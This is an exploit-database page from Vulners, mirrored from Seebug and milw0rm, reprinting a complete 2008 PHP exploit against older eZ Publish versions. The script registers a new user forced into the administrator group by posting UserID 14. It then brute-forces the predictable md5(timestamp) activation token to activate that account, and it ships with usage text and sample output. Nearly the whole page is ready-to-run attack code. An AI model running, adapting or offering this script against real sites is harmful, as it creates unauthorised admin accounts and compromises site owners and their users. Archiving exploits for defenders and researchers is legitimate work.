Lucene search
K

eZ Publish < 3.9.5/3.10.1/4.0.1 (token) Privilege Escalation Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 22 Views

eZ Publish Privilege Escalation Exploi

Code

                                                &#60;?php

/*
	eZ Publish privilege escalation and weak activation token for new user exploit by s4avrd0w [[email protected]]
	Versions affected &#62;= 3.5.6
	eZ Publish privilege escalation resolved in 3.9.5, 3.10.1, 4.0.1
	More info: http://ez.no/developer/security/security_advisories/ez_publish_3_9/ezsa_2008_003_insufficient_form_handling_made_privilege_escalation_possible

	eZ Publish weak activation token for new user not resolved now (zero-day).
	Vulnerable code in the version 3.9.2:
		$hash = md5( mktime( ) . $user-&#62;attribute( &#39;contentobject_id&#39; ) );
	Vulnerable code in the version 4.0.1:
		$hash = md5( time() . $user-&#62;attribute( &#39;contentobject_id&#39; ) );
	
	* tested on version 3.9.2

	usage: 

	# ./eZPublish_create_admin_exploit.php -u=username -p=password -s=EZPublish_server [ -e=email -t=timestamp ]

	The options are required:
	 -u Login of the new admin on eZ Publish
	 -p Password of the new admin on eZ Publish
	 -s Target for privilege escalation

	The options are optional:
	 -t Unix timestamp for a date on target eZ Publish server
		This option is required in a case when on a target server incorrect time is established.
		Default is unix timestamp for a date on local computer.
	 -e Email of the new admin on eZ Publish
		Default is [email protected].

	example:

	# ./eZPublish_create_admin_exploit.php -u=admin -p=P@ssw0rd -s=http://127.0.0.1/ [email protected] -t=1229194235
	[+] Phase 1 successfully finished
	[+] Use timestamp: 1229194235
	[+] Begin bruteforce...
	....................
	[+] Phase 2 successfully finished

	[+] Exploiting is finished successfully
	[+] Login in system using admin/P@ssw0rd

*/

function help_argc($script_name)
{
print &#34;
usage:

# ./&#34;.$script_name.&#34; -u=username -p=password -s=EZPublish_server [ -e=email -t=timestamp ]

The options are required:
 -u Login of the new admin on eZ Publish
 -p Password of the new admin on eZ Publish
 -s Target for privilege escalation

The options are optional:
 -t Unix timestamp for a date on target eZ Publish server
	(default is unix timestamp for a date on local computer)
 -e Email of the new admin on eZ Publish
	(default is [email protected])

example:

# ./&#34;.$script_name.&#34; -u=admin -p=P@ssw0rd -s=http://127.0.0.1/
[+] Phase 1 successfully finished
[+] Use timestamp: 1229194235
[+] Begin bruteforce...
....................
[+] Phase 2 successfully finished

[+] Exploiting is finished successfully
[+] Login in system using admin/P@ssw0rd
&#34;;
}

function successfully($login,$password)
{
print &#34;
[+] Phase 2 successfully finished

[+] Exploiting is finished successfully
[+] Login in system using $login/$password
&#34;;
}

if (($argc != 4 && $argc != 5 && $argc != 6) || in_array($argv[1], array(&#39;--help&#39;, &#39;-help&#39;, &#39;-h&#39;, &#39;-?&#39;)))
{
	help_argc($argv[0]);
	exit(0);
}
else
{
	$ARG = array(); 
	foreach ($argv as $arg) { 
		if (strpos($arg, &#39;-&#39;) === 0) { 
			$key = substr($arg,1,1);
			if (!isset($ARG[$key])) $ARG[$key] = substr($arg,3,strlen($arg)); 
		} 
	}

	if ($ARG[u] && $ARG[p] && $ARG[s])
	{

		if (!$ARG[e]) $ARG[e] = &#34;[email protected]&#34;;

			$post_fields = array(
				&#39;ContentObjectAttribute_data_user_login_30&#39; =&#62; $ARG[u],
				&#39;ContentObjectAttribute_data_user_password_30&#39; =&#62; $ARG[p],
				&#39;ContentObjectAttribute_data_user_password_confirm_30&#39; =&#62; $ARG[p],
				&#39;ContentObjectAttribute_data_user_email_30&#39; =&#62; $ARG[e],
				&#39;UserID&#39; =&#62; &#39;14&#39;,
				&#39;PublishButton&#39; =&#62; &#39;1&#39;
			);

		$headers = array(
		    &#39;User-Agent&#39; =&#62; &#39;Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14&#39;,
		    &#39;Referer&#39; =&#62; $ARG[s]
		);

		$res_http = new HttpRequest($ARG[s].&#34;/user/register&#34;, HttpRequest::METH_POST);
		$res_http-&#62;addPostFields($post_fields);
		$res_http-&#62;addHeaders($headers);
		try {
			if ($ARG[t]) { $time = $ARG[t]; } else { $time = mktime( ); }
    			$response = $res_http-&#62;send()-&#62;getBody();

			if (eregi(&#34;success&#34;, $response) || eregi(&#34;Fatal error&#34;, $response))
			{
				print &#34;[+] Phase 1 successfully finished\n&#34;;
				print &#34;[+] Use timestamp: $time\n&#34;;
				print &#34;[+] Begin bruteforce...\n&#34;;

				for ($i = $time; $i&#60;$time+100; $i++)
				{
					print &#34;.&#34;;
					$hash = md5( $i . &#34;14&#34; );
					$res_http = new HttpRequest($ARG[s].&#34;/user/activate/&#34;.$hash, HttpRequest::METH_GET);
					$res_http-&#62;addHeaders($headers);
					try {
						$response = $res_http-&#62;send()-&#62;getBody();

						if (eregi(&#34;Your account is now activated&#34;, $response))
						{
							successfully($ARG[u],$ARG[p]);
							exit(1);
						}


					} catch (HttpException $exception) {
						print &#34;\n[-] Not connected&#34;;
						exit(0);
					}
				}
				print &#34;\n[-] Exploit failed&#34;;
			}
			else
			{
				print &#34;[-] Exploit failed&#34;;
			}

		} catch (HttpException $exception) {

			print &#34;[-] Not connected&#34;;
			exit(0);

		}

	}
	else
	{
		help_argc($argv[0]);
		exit(0);
	} 
}

?&#62;

# milw0rm.com [2008-12-15]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation